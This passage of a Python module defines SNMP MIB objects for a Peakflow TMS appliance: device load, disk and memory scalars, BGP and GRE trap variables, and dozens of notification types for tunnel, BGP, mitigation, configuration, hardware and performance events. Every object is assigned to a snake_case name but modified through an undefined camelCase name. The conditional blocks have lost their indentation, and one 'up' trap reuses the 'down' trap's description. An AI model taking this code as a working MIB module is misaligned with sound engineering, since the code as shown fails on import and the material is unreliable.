deviceCpuLoadAvg5min.setStatus('current')
if mibBuilder.loadTexts:
deviceCpuLoadAvg5min.setDescription('Average number of processes in run queue during last 5 min.')
device_cpu_load_avg15min = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 5), tms_hundredths()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
deviceCpuLoadAvg15min.setStatus('current')
if mibBuilder.loadTexts:
deviceCpuLoadAvg15min.setDescription('Average number of processes in run queue during last 15 min.')
device_disk_usage = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 6), tms_percentage()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
deviceDiskUsage.setStatus('current')
if mibBuilder.loadTexts:
deviceDiskUsage.setDescription('Percentage of primary data partition used.')
device_physical_memory_usage = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 7), tms_percentage()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
devicePhysicalMemoryUsage.setStatus('current')
if mibBuilder.loadTexts:
devicePhysicalMemoryUsage.setDescription('Percentage of physical memory used.')
device_swap_space_usage = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 8), tms_percentage()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
deviceSwapSpaceUsage.setStatus('current')
if mibBuilder.loadTexts:
deviceSwapSpaceUsage.setDescription('Percentage of swap space used.')
tms_trap_string = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 9), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsTrapString.setStatus('current')
if mibBuilder.loadTexts:
tmsTrapString.setDescription('Temporary string for reporting information in traps')
tms_trap_detail = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 10), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsTrapDetail.setStatus('current')
if mibBuilder.loadTexts:
tmsTrapDetail.setDescription('Temporary string for reporting additional detail (if any) about a trap')
tms_trap_subhost_name = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 11), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsTrapSubhostName.setStatus('current')
if mibBuilder.loadTexts:
tmsTrapSubhostName.setDescription('Temporary string for reporting the name of a subhost')
tms_trap_component_name = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 12), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsTrapComponentName.setStatus('current')
if mibBuilder.loadTexts:
tmsTrapComponentName.setDescription('Temporary string for reporting the name of a program or device')
tms_trap_bgp_peer = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 13), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsTrapBgpPeer.setStatus('current')
if mibBuilder.loadTexts:
tmsTrapBgpPeer.setDescription('IP address of a BGP peer')
tms_trap_gre_source = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 14), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsTrapGreSource.setStatus('current')
if mibBuilder.loadTexts:
tmsTrapGreSource.setDescription('GRE source IP address')
tms_trap_gre_destination = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 15), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsTrapGreDestination.setStatus('current')
if mibBuilder.loadTexts:
tmsTrapGreDestination.setDescription('GRE destination IP address')
tms_trap_nexthop = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 16), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsTrapNexthop.setStatus('current')
if mibBuilder.loadTexts:
tmsTrapNexthop.setDescription('Nexthop IP address')
tms_trap_ipv6_bgp_peer = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 17), ipv6_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsTrapIpv6BgpPeer.setStatus('current')
if mibBuilder.loadTexts:
tmsTrapIpv6BgpPeer.setDescription('IPv6 address of a BGP peer')
tms_trap_ipv6_gre_source = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 18), ipv6_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsTrapIpv6GreSource.setStatus('current')
if mibBuilder.loadTexts:
tmsTrapIpv6GreSource.setDescription('GRE source IPv6 address')
tms_trap_ipv6_gre_destination = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 19), ipv6_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsTrapIpv6GreDestination.setStatus('current')
if mibBuilder.loadTexts:
tmsTrapIpv6GreDestination.setDescription('GRE destination IPv6 address')
tms_trap_ipv6_nexthop = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 20), ipv6_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsTrapIpv6Nexthop.setStatus('current')
if mibBuilder.loadTexts:
tmsTrapIpv6Nexthop.setDescription('Nexthop IPv6 address')
peakflow_tms_traps = mib_identifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3))
peakflow_tms_traps_enumerate = mib_identifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0))
host_fault = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 1)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsHostFault'))
if mibBuilder.loadTexts:
hostFault.setStatus('obsolete')
if mibBuilder.loadTexts:
hostFault.setDescription('Obsolete; replaced by a number of more specific traps.')
gre_tunnel_down = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 2)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapGreSource'), ('PEAKFLOW-TMS-MIB', 'tmsTrapGreDestination'))
if mibBuilder.loadTexts:
greTunnelDown.setStatus('current')
if mibBuilder.loadTexts:
greTunnelDown.setDescription('The greTunnelDown/greTunnelUp traps are generated when a GRE tunnel changes state.')
gre_tunnel_up = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 3)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapGreSource'), ('PEAKFLOW-TMS-MIB', 'tmsTrapGreDestination'))
if mibBuilder.loadTexts:
greTunnelUp.setStatus('current')
if mibBuilder.loadTexts:
greTunnelUp.setDescription('The greTunnelDown/greTunnelUp traps are generated when a GRE tunnel changes state.')
tms_link_up = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 4)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'))
if mibBuilder.loadTexts:
tmsLinkUp.setStatus('obsolete')
if mibBuilder.loadTexts:
tmsLinkUp.setDescription('Obsolete; IF-MIB::linkUp is now used instead')
tms_link_down = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 5)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'))
if mibBuilder.loadTexts:
tmsLinkDown.setStatus('obsolete')
if mibBuilder.loadTexts:
tmsLinkDown.setDescription('Obsolete; IF-MIB::linkDown is now used instead')
sub_host_up = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 6)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapSubhostName'))
if mibBuilder.loadTexts:
subHostUp.setStatus('current')
if mibBuilder.loadTexts:
subHostUp.setDescription('Generated when a subhost transitions to active')
sub_host_down = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 7)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapSubhostName'))
if mibBuilder.loadTexts:
subHostDown.setStatus('current')
if mibBuilder.loadTexts:
subHostDown.setDescription('Generated when a subhost transitions to inactive')
tms_bgp_neighbor_down = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 8)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapBgpPeer'))
if mibBuilder.loadTexts:
tmsBgpNeighborDown.setStatus('current')
if mibBuilder.loadTexts:
tmsBgpNeighborDown.setDescription('Generated when a BGP neighbor transitions out of the ESTABLISHED state')
tms_bgp_neighbor_up = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 9)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapBgpPeer'))
if mibBuilder.loadTexts:
tmsBgpNeighborUp.setStatus('current')
if mibBuilder.loadTexts:
tmsBgpNeighborUp.setDescription('Generated when a BGP neighbor transitions into the ESTABLISHED state')
tms_nexthop_down = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 10)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapNexthop'), ('IF-MIB', 'ifName'))
if mibBuilder.loadTexts:
tmsNexthopDown.setStatus('current')
if mibBuilder.loadTexts:
tmsNexthopDown.setDescription('Generated when the nexthop host cannot be contacted')
tms_nexthop_up = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 11)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapNexthop'), ('IF-MIB', 'ifName'))
if mibBuilder.loadTexts:
tmsNexthopUp.setStatus('current')
if mibBuilder.loadTexts:
tmsNexthopUp.setDescription('Generated when the nexthop host cannot be contacted')
tms_mitigation_error = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 12)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsMitigationIndex'), ('PEAKFLOW-TMS-MIB', 'tmsMitigationName'))
if mibBuilder.loadTexts:
tmsMitigationError.setStatus('current')
if mibBuilder.loadTexts:
tmsMitigationError.setDescription('A mitigation cannot run because of a configuration error')
tms_mitigation_suspended = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 13)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsMitigationIndex'), ('PEAKFLOW-TMS-MIB', 'tmsMitigationName'))
if mibBuilder.loadTexts:
tmsMitigationSuspended.setStatus('current')
if mibBuilder.loadTexts:
tmsMitigationSuspended.setDescription('A mitigation has been suspended due to some external problem (nexthop not reachable, BGP down, etc.)')
tms_mitigation_running = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 14)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsMitigationIndex'), ('PEAKFLOW-TMS-MIB', 'tmsMitigationName'))
if mibBuilder.loadTexts:
tmsMitigationRunning.setStatus('current')
if mibBuilder.loadTexts:
tmsMitigationRunning.setDescription('A previously-detected mitigation problem has been cleared and the mitigation is now running')
tms_config_missing = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 15)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsConfigMissing.setStatus('current')
if mibBuilder.loadTexts:
tmsConfigMissing.setDescription('Generated when a TMS configuration file cannot be found.')
tms_config_error = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 16)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsConfigError.setStatus('current')
if mibBuilder.loadTexts:
tmsConfigError.setDescription('Generated when an error in a TMS configuration file is detected.')
tms_config_ok = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 17)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsConfigOk.setStatus('current')
if mibBuilder.loadTexts:
tmsConfigOk.setDescription('All configuration problems have been corrected.')
tms_hw_device_down = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 18)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsHwDeviceDown.setStatus('current')
if mibBuilder.loadTexts:
tmsHwDeviceDown.setDescription('A hardware device has failed.')
tms_hw_device_up = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 19)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsHwDeviceUp.setStatus('current')
if mibBuilder.loadTexts:
tmsHwDeviceUp.setDescription('A hardware device failure has been corrected.')
tms_hw_sensor_critical = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 20)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsHwSensorCritical.setStatus('current')
if mibBuilder.loadTexts:
tmsHwSensorCritical.setDescription('A hardware sensor is reading an alarm condition.')
tms_hw_sensor_ok = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 21)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsHwSensorOk.setStatus('current')
if mibBuilder.loadTexts:
tmsHwSensorOk.setDescription('A hardware sensor is no longer reading an alarm condition.')
tms_sw_component_down = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 22)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapSubhostName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsSwComponentDown.setStatus('current')
if mibBuilder.loadTexts:
tmsSwComponentDown.setDescription('A software program has failed.')
tms_sw_component_up = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 23)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapSubhostName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsSwComponentUp.setStatus('current')
if mibBuilder.loadTexts:
tmsSwComponentUp.setDescription('A software program failure has been corrected.')
tms_system_status_critical = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 24)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsSystemStatusCritical.setStatus('current')
if mibBuilder.loadTexts:
tmsSystemStatusCritical.setDescription('The TMS system is experiencing a critical failure.')
tms_system_status_degraded = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 25)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsSystemStatusDegraded.setStatus('current')
if mibBuilder.loadTexts:
tmsSystemStatusDegraded.setDescription('The TMS system is experiencing degraded performance.')
tms_system_status_nominal = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 26)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsSystemStatusNominal.setStatus('current')
if mibBuilder.loadTexts:
tmsSystemStatusNominal.setDescription('The TMS system has returned to normal behavior.')
tms_filesystem_critical = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 27)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsFilesystemCritical.setStatus('current')
if mibBuilder.loadTexts:
tmsFilesystemCritical.setDescription('A filesystem is near capacity.')
tms_filesystem_nominal = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 28)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsFilesystemNominal.setStatus('current')
if mibBuilder.loadTexts:
tmsFilesystemNominal.setDescription('A filesystem is back below capacity alarm threshold.')
tms_hw_sensor_unknown = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 29)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsHwSensorUnknown.setStatus('current')
if mibBuilder.loadTexts:
tmsHwSensorUnknown.setDescription('A hardware sensor is in an unknown state.')
tms_sp_communication_up = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 30)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsSpCommunicationUp.setStatus('current')
if mibBuilder.loadTexts:
tmsSpCommunicationUp.setDescription('Communication with SP host is up.')
tms_sp_communication_down = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 31)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsSpCommunicationDown.setStatus('current')
if mibBuilder.loadTexts:
tmsSpCommunicationDown.setDescription('Communication with SP host is down.')
tms_system_status_error = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 32)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsSystemStatusError.setStatus('current')
if mibBuilder.loadTexts:
tmsSystemStatusError.setDescription('The TMS system is experiencing an error.')
tms_automitigation_bgp_enabled = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 33)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsAutomitigationBgpEnabled.setStatus('current')
if mibBuilder.loadTexts:
tmsAutomitigationBgpEnabled.setDescription('A previously-detected automitigation problem has been cleared and the automitigation BGP announcements have resumed.')
tms_automitigation_bgp_disabled = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 34)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsAutomitigationBgpDisabled.setStatus('current')
if mibBuilder.loadTexts:
tmsAutomitigationBgpDisabled.setDescription('Automitigation BGP announcements have been administratively disabled.')
tms_automitigation_bgp_suspended = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 35)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsAutomitigationBgpSuspended.setStatus('current')
if mibBuilder.loadTexts:
tmsAutomitigationBgpSuspended.setDescription('Automitigation BGP announcements have been suspended due to some external problem (nexthop not reachable, BGP down, etc.)')
tms_ipv6_gre_tunnel_down = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 36)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapIpv6GreSource'), ('PEAKFLOW-TMS-MIB', 'tmsTrapIpv6GreDestination'))
if mibBuilder.loadTexts:
tmsIpv6GreTunnelDown.setStatus('current')
if mibBuilder.loadTexts:
tmsIpv6GreTunnelDown.setDescription('The greTunnelDown/greTunnelUp traps are generated when a GRE tunnel changes state.')
tms_ipv6_gre_tunnel_up = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 37)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapIpv6GreSource'), ('PEAKFLOW-TMS-MIB', 'tmsTrapIpv6GreDestination'))
if mibBuilder.loadTexts:
tmsIpv6GreTunnelUp.setStatus('current')
if mibBuilder.loadTexts:
tmsIpv6GreTunnelUp.setDescription('The greTunnelDown/greTunnelUp traps are generated when a GRE tunnel changes state.')
tms_ipv6_bgp_neighbor_down = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 38)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapIpv6BgpPeer'))
if mibBuilder.loadTexts:
tmsIpv6BgpNeighborDown.setStatus('current')
if mibBuilder.loadTexts:
tmsIpv6BgpNeighborDown.setDescription('Generated when a BGP neighbor transitions out of the ESTABLISHED state.')
tms_ipv6_bgp_neighbor_up = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 39)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapIpv6BgpPeer'))
if mibBuilder.loadTexts:
tmsIpv6BgpNeighborUp.setStatus('current')
if mibBuilder.loadTexts:
tmsIpv6BgpNeighborUp.setDescription('Generated when a BGP neighbor transitions into the ESTABLISHED state.')
tms_ipv6_nexthop_down = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 40)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapIpv6Nexthop'), ('IF-MIB', 'ifName'))
if mibBuilder.loadTexts:
tmsIpv6NexthopDown.setStatus('current')
if mibBuilder.loadTexts:
tmsIpv6NexthopDown.setDescription('Generated when the nexthop host becomes unreachable.')
tms_ipv6_nexthop_up = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 41)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapIpv6Nexthop'), ('IF-MIB', 'ifName'))
if mibBuilder.loadTexts:
tmsIpv6NexthopUp.setStatus('current')
if mibBuilder.loadTexts:
tmsIpv6NexthopUp.setDescription('Generated when the nexthop host becomes reachable.')
tms_performance_ok = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 42)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsPerformanceOk.setStatus('current')
if mibBuilder.loadTexts:
tmsPerformanceOk.setDescription('Generated when the processed traffic rate matches the offered traffic rate.')
tms_performance_lossy = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 43)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsPerformanceLossy.setStatus('current')
if mibBuilder.loadTexts:
tmsPerformanceLossy.setDescription('Generated when the processed traffic rate is lower than the offered traffic rate.')
tms_system_prefixes_ok = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 44)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsSystemPrefixesOk.setStatus('current')
if mibBuilder.loadTexts:
tmsSystemPrefixesOk.setDescription('BGP is currently advertising all mitigation prefixes.')
tms_system_prefixes_missing = notification_type((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 45)).setObjects(('SNMPv2-MIB', 'sysName'), ('PEAKFLOW-TMS-MIB', 'tmsTrapString'), ('PEAKFLOW-TMS-MIB', 'tmsTrapDetail'), ('PEAKFLOW-TMS-MIB', 'tmsTrapComponentName'))
if mibBuilder.loadTexts:
tmsSystemPrefixesMissing.setStatus('current')
if mibBuilder.loadTexts:
tmsSystemPrefixesMissing.setDescription('BGP is not currently advertising all mitigation prefixes.')
peakflow_tms_obj = mib_identifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5))
tms_dpi_config = mib_identifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 1))
tms_version = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 1, 1), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsVersion.setStatus('current')
if mibBuilder.loadTexts:
tmsVersion.setDescription('TMS software version')
tms_last_update = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 1, 2), display_string()).setMaxAccess('readonly')
